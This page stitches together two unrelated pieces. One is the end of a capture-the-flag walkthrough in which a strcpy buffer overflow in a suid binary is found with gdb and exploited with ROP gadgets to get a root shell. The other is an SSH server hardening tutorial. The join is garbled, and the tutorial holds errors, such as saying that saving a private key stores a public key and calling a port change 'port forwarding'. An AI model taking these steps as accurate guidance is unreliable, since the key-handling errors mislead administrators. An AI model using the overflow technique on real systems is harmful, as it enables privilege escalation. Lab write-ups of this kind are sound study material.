![[Image: 30.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-udkCgB_PL5g/W6JocGzAfxI/AAAAAAAAaXE/qdeGc02itWwUim3CJS3ZHj2FcA2I0rtNQCEwYBhgL/s1600/30.png?w=687&ssl=1)
LEVEL 2:
After completing level1, we log in as level2 using the given credentials. We find a file called flag and a binary file called level2 with suid bit set. When we run the binary, we find that it takes a string as an argument and then prints it.
ssh [email protected]
1
ssh [email protected]
![[Image: 31.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-4aqwt9gaVC4/W6JocZj3_7I/AAAAAAAAaXQ/RYIIqCniun4VfN3di9xe-rMROS8b7O8zQCEwYBhgL/s1600/31.png?w=687&ssl=1)
We open the file in gdb for further analysis and find that at main+46 it calls the strcpy function. As the strcpy function is vulnerable to buffer overflow we exploit it.
gdb -q level2
set disassembly-flavor intel
disas main
1
2
3
gdb -q level2
set disassembly-flavor intel
disas main
![[Image: 32.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-IlORsrbX6XU/W6Joc10UICI/AAAAAAAAaXQ/wv_iVqPqPjMiBclE4VR69CSJvUDOjMw_ACEwYBhgL/s1600/32.png?w=687&ssl=1)
On further analysis we find that it is similar to level0 binary file, we create a 500 bytes string and pass its argument and find the EIP offset to be 44 bytes.
pattern offset 0x41414641
1
pattern offset 0x41414641
![[Image: 32.1.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-ZSvQaqxmNqs/W6JoclxB0zI/AAAAAAAAaXQ/Wrd1KojM2mEJTRL16FYidsdq49gzBrQ-wCEwYBhgL/s1600/32.1.png?w=687&ssl=1)
This binary file has a strcpy function instead of gets we cannot use “\x00”. So we use gadgets to do our work. We use ropshell.com to find all the gadgets used in this exploit.
![[Image: 33.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-t-O3Gj5od9c/W6JocyTm9hI/AAAAAAAAaXM/NOFXkJT4CkEgU1ffuTtdUfcn9zVk5RChgCEwYBhgL/s1600/33.png?w=687&ssl=1)
We modified the exploit we created for level0 and inserted our gadgets. We use read function instead of the memcpy function in this exploit. (Gadgets are explained in the exploit code).
As soon as we run our exploit we spawn a shell as the root user. We open the flag file and get our final flag.
![[Image: 35.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-loqXlRTn_1M/W6JodFJkArI/AAAAAAAAaXI/ClHXVNARs1Mz6DKDGz1soE5-XOZY3RYQACEwYBhgL/s1600/35.png?w=687&ssl=1)
Secure Shell (SSH) is defined as a network protocol to operate network services securely over an unsecured network. The standard TCP port for SSH is 22. The best application of SSH is to remotely login into computer systems by users.
This article will be explaining about the network securities which help the network administrator to secure the service of SSH on any server through multiple ways.
Methods Used:
- Port Forwarding
- Disable Password-Based Login And Using PGP Key (Public Key)
- Disable Root Login and Limit SSH User’s Access
- Google Authenticator
- Time Scheduling
- Disable Empty Passwords
sudo apt-get install openssh-server
1
sudo apt-get install openssh-server
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-bAz_BDoeJDU/W6cxv8XnYJI/AAAAAAAAabg/0Zp6HqKTv7ELgweJ1llYJbpF9vzvEc5SACEwYBhgL/s1600/1.png?w=687&ssl=1)
Port Redirection
Once the SSH services are configured and running, we can begin with our first security measure which is Port Forwarding. Upon initiating the scan on the client’s machine IP address using nmap, it shows that SSH is running on Port 22.
![[Image: 2.1.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-jabS5Sr8lkA/W6cxx5MCIFI/AAAAAAAAabc/yA3l6UUbg1MAo4ElxeQ7ifIz8lVendRqQCEwYBhgL/s1600/2.1.png?w=687&ssl=1)
Navigate to /etc/ssh and we will find a file named sshd_config in the client’s machine.
cd /etc/ssh
1
cd /etc/ssh
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-q0-WCdnO05Q/W6cxyL6bbYI/AAAAAAAAabU/2ImUJ32zO2Mu3bhKBfK-yKzNf842NeI5wCEwYBhgL/s1600/2.png?w=687&ssl=1)
Open the file sshd_config using nano command.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-G0RJOK6F3Yg/W6cx0O8s8KI/AAAAAAAAabc/F5gXTbK7SOIXuW9UxuQwvyaS3aVzYSfigCEwYBhgL/s1600/3.png?w=687&ssl=1)
Now change the port 22 to port 2222 as shown in the below screenshot and save the changes made in the sshd_config file. Hence, in this way we have forwarded the port from 22 to 2222.
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-5HGbsN6M0y8/W6c_UvSvToI/AAAAAAAAaeQ/hxDHUMs8QToaA64Dm0laZjFcEkUeYOEqwCEwYBhgL/s1600/4.png?w=687&ssl=1)
Now to confirm port forwarding, we will again scan the Client’s IP address using nmap
nmap 192.168.1.104
1
nmap 192.168.1.104
The output of the nmap shows that TCP port 2222 is opened; however, shows EthernetIP-1 in the service description which doesn’t give an exact description of the service running. So we will run the following nmap command with version detection option
nmap -sV 192.168.1.104
1
nmap -sV 192.168.1.104
With the next output of nmap, it is clearly visible that SSH services are running on TCP Port 2222 along with the description of the OpenSSH version.
![[Image: 6.1.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-EfL6vFQjN_k/W6cx1OEJuII/AAAAAAAAabU/SWNZZ6iXAPcbTVo367diUjRh2vvbCjmEQCEwYBhgL/s1600/6.1.png?w=687&ssl=1)
Secure With Public Key
To begin with this security measure we need to download and install PuTTY Key Generator.
Note: PuTTYgen is a key generator tool for creating SSH keys for PuTTY and stores keys in its own format ( .ppk extension)
Open it and Click on Generate.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-FfsQZGz8vhg/W6cx1bgqEOI/AAAAAAAAabY/3bcxd_VcqgIYwO7E7Yz6J3M_agY2jKQXQCEwYBhgL/s1600/6.png?w=687&ssl=1)
Clicking on Generate will initiate the process of generating a Public and Private Key, as shown in the image.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-yWQKafKKnSM/W6cx1nuNbBI/AAAAAAAAabQ/ecCdgrnrK48deV4Dro0GWRh6eG2kSd6MQCEwYBhgL/s1600/7.png?w=687&ssl=1)
Once Public and Private Key are generated, click on Save Private Key. This will save the key as a Public Key.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-YTrhT4lUcuk/W6cx1hGJ1VI/AAAAAAAAabc/sPDpldxtJMUc3gIHcXDnXP2knxM_3ifVgCEwYBhgL/s1600/8.png?w=687&ssl=1)
Now open the Ubuntu terminal of our server and type ssh-keygen.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-NYKcuzYA2tE/W6cx138LUUI/AAAAAAAAabg/CB7fObsbifw95BwMy4nt82g1z6Fi-NaOACEwYBhgL/s1600/9.png?w=687&ssl=1)
The above command will create a folder named .ssh and then create an empty text file with the name authorized_keys in the same folder. After that copy the “ssh_login.ppk” file which was created using PuTTy Key Generator previously and paste it into the .ssh folder as shown in the image.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-H-BtK5E_p2w/W6cxwPjvzSI/AAAAAAAAabM/-Kv9mAguYWUpv0lHlwdaa5QneD3Ue083wCEwYBhgL/s1600/10.png?w=687&ssl=1)
In the terminal, move into the .ssh folder and type the following command:
puttygen -L "ssh_login.ppk"
1
puttygen -L "ssh_login.ppk"
This command will open the key.
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-owavso2EYWg/W6cxwPU7z0I/AAAAAAAAabg/AgFYSGe3PP4qibIgF-7cNldeMqJg7vwjwCEwYBhgL/s1600/11.png?w=687&ssl=1)
Now copy this key and paste it in the empty file named authorized_keys using nano command and save it.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-tKH3Q7Tm7F0/W6cxwVaCkuI/AAAAAAAAabc/hvmp5KTEp4cW3yGyeTSIBjvFqQliiDfxgCEwYBhgL/s1600/12.png?w=687&ssl=1)
Now open the putty configuration tab, then go to Session tab and give the IP Address & Port Number of your Clients Machine were ssh server is configured.
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-AeV0lzu6vaI/W6cxwySLvHI/AAAAAAAAabU/ZrN1YI09GJItE3x7S8qZRM2x1VNuBx4QACEwYBhgL/s1600/13.png?w=687&ssl=1)
Now go to data and give Auto-login username.
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-zQH2fBM_k7g/W6cxw8wkrMI/AAAAAAAAabM/IPQpOSCHcYE93kZb4shOwayAlz_3taqFQCEwYBhgL/s1600/14.png?w=687&ssl=1)
Navigate to SSH>Auth and give the path of the ssh_login.ppk file (the public key that was generated earlier) and then click Open.
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-yPqVpZ1ZdAA/W6cxxLeLtgI/AAAAAAAAabc/x7_8x612SEIC3C3PA6gCOmm8vwU4jewpgCEwYBhgL/s1600/15.png?w=687&ssl=1)
It will simply use the public key to Login into SSH Server without asking for Password.
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-ZIeEZDdFN2Y/W6cxxRVJp7I/AAAAAAAAabM/SQ9aURlK67UBheIvBxLXlNr2jtOgzaw1gCEwYBhgL/s1600/16.png?w=687&ssl=1)
Open the sshd_config file in /etc/ssh using gedit command. Here we will make changes in line #PasswordAuthentication as shown in the image.
Current configuration
#PasswordAuthentication yes
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-rN3oOOYpE4M/W6cxxw8ZamI/AAAAAAAAabI/fEIL9dVp4gAJG0ReI81wU9GDNaRno3YnwCEwYBhgL/s1600/17.png?w=687&ssl=1)
Now we will edit parameter value yes to no and remove the # (hash) as shown in the below image. Once done save the changes made. These changes will disable any user to log into SSH Server using the password.
PasswordAuthentication no
![[Image: 19.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-A0iC98WVaMI/W6cxxnrJlrI/AAAAAAAAabY/IBEzIsC2HEMBQrN_-XO1PgX4uNVWPztMQCEwYBhgL/s1600/19.png?w=687&ssl=1)
As you can see these settings have disabled password based login and is indeed asking for a Public Key to log in.
![[Image: 20.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-e8N7w1cBG3c/W6cxyVo2xxI/AAAAAAAAabU/cJawOa8xv6o8eqpgjbN5Mxrekb3WMG4dQCEwYBhgL/s1600/20.png?w=687&ssl=1)
Disable Root Login and Limit SSH User’s Access
To begin with, this security measure you need to make some new User’s using adduser command (New User’s We have Created: h1,h2,h3,h4) then make changes in the sshd_config file in /etc/ssh using gedit command. Type the Following Lines under #Authentication:
#No root login allowed (h2 can log in as sudo –s)
PermitRootLogin no
## only allow 1 users h2 (sysadmin)
AllowUsers h2
Remember to save the changes made. This will disable Root Login and will allow the only h2 user to log into ssh server remotely.
![[Image: 21.1.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-vW1qjKZh0dc/W6cxyiXswjI/AAAAAAAAabI/bRuhh8gvBZse1Gk8M9UykSrOUY1PB-Z3gCEwYBhgL/s1600/21.1.png?w=687&ssl=1)
As you can see the only h2 user is able to successfully log into SSH Server, where h1 and h3 users permission to log into SSH Server is denied.
![[Image: 21.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-_kM8-ucdL5U/W6cxy1UMH5I/AAAAAAAAabU/-C_oKMlIWqU8XvO02sQnjoB2UWYnbzHQwCEwYBhgL/s1600/21.png?w=687&ssl=1)
Google Authenticator
To begin with the two-factor authentication over SSH Server, you need to download the google authenticator application on your phone and also install the required dependency package for Ubuntu using the following command:
sudo apt-get install libpam-google-authenticator
1
sudo apt-get install libpam-google-authenticator
NOTE-The installation of google authenticator will as ask a couple of questions give Yes for every question asked.
![[Image: 23.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-L75PSBNwZWo/W6cxzMhCvsI/AAAAAAAAabc/RUqbiRoCp5EUO3PjdUGtST3qEdkh3XVigCEwYBhgL/s1600/23.png?w=687&ssl=1)
After the installation is completed. Open terminal and type command:
google-authenticator
1
google-authenticator
We will see a barcode. Scan it using the google authenticator application on your phone.
![[Image: 24.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-Lafdxr-6g7I/W6cxzb82PgI/AAAAAAAAabc/WS8IRrC5nVYY-8pvpuyrnGOZpb2muM8TwCEwYBhgL/s1600/24.png?w=687&ssl=1)
Once the application has scanned the barcode, it will start generating One Time Password’s as shown in the image.
![[Image: 25.jpg?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-PSdOaNZzxA0/W6cxzpACgzI/AAAAAAAAabY/vsZxafDXoVQXLJm579zNggC88SAgEHXYACEwYBhgL/s1600/25.jpg?w=687&ssl=1)
Now open sshd file in /etc/pam.d using gedit command and make the following changes:
- Add # to @include common-auth
- Add Line (auth required pam_google_authenticator.so) under @include common-password
![[Image: 26.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-nL65xzPsbN4/W6c_S8L9rWI/AAAAAAAAaeM/Vdp7gUQ9ZOkcD4fHM9hzWYHBUGuLhRKLgCEwYBhgL/s1600/26.png?w=687&ssl=1)
Now open the sshd_config file in /etc/ssh using gedit command and make the following changes.
ChallengeResponseAuthentication yes
![[Image: 27.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-2WV-ip1Vuus/W6c_TNhqV2I/AAAAAAAAaeM/cdQVqlFqhEYO7jL65-FTkPQd6PD3cBhIQCEwYBhgL/s1600/27.png?w=687&ssl=1)
When we log into SSH Server it will prompt for a verification code, Here we have to enter the One Time Password generated on our google authenticator application. As you can see we have successfully logged into SSH Server using One Time Password.
![[Image: 30.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-xvMnjukazuU/W6c_Tg2y5NI/AAAAAAAAadg/3BWeCLDuziETSY0Gcq6aHRGaUI3GNk9XQCEwYBhgL/s1600/30.png?w=687&ssl=1)
Time Scheduling
In this security measure, we are going to set the time limit on SSH service on the server.
Cron is a built-in service of Linux to schedule task, which enables a job (command or script) on the server to run automatically over specified time and date.
Here we are going to schedule SSH services using crontab
We had open crontab in /etc using nano command. Now lets schedule ssh service in a way that it will start for every 2nd minute and will get stop after every 4th minute. The command used to schedule the SSH Service are given below:
*/2 * * * * root service ssh start
*/4 * * * * root service ssh stop
1
2
*/2 * * * * root service ssh start
*/4 * * * * root service ssh stop
Save the changes made in the file.
![[Image: 31.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-uqc3m6bJfWA/W6dAGNRELVI/AAAAAAAAaeo/rDzcQHdCxVE4qflr1VBBt8nYiBhu4YdwACLcBGAs/s1600/31.png?w=687&ssl=1)
Wait for service to reboot. Using nmap we have scan port 22.
nmap -p 22 192.168.1.104
1
nmap -p 22 192.168.1.104
After running the scan, we will observe that ssh service on port 22 is CLOSED because it is the 4th minute which has started.
Now if our command is working properly it should start itself on every 2nd minute, to confirm it we will again initiate a scan using nmap.
nmap –p 22 192.168.1.104
1
nmap –p 22 192.168.1.104
As we can see that the port is in the OPEN state now.
![[Image: 32.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-WWsxwKjtI3E/W6c_T5VKICI/AAAAAAAAado/8Hmdgl6mlZgwb2UF62X53DVhwefSutdzQCEwYBhgL/s1600/32.png?w=687&ssl=1)
Disable Empty Password
In this security measure, as a best practice; one should always disable empty password login to the SSH Server. To enable this setting we need to open the sshd_config file using gedit command and make the following changes:
PermitEmptyPasswords No
These changes will simply disable empty password login’s into SSH Server.
![[Image: 33.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-CXLLv1jmJY0/W6c_UiIhNCI/AAAAAAAAad0/hjs7a7nJgdUJsaux2-k2T4NPvknpsetxACEwYBhgL/s1600/33.png?w=687&ssl=1)














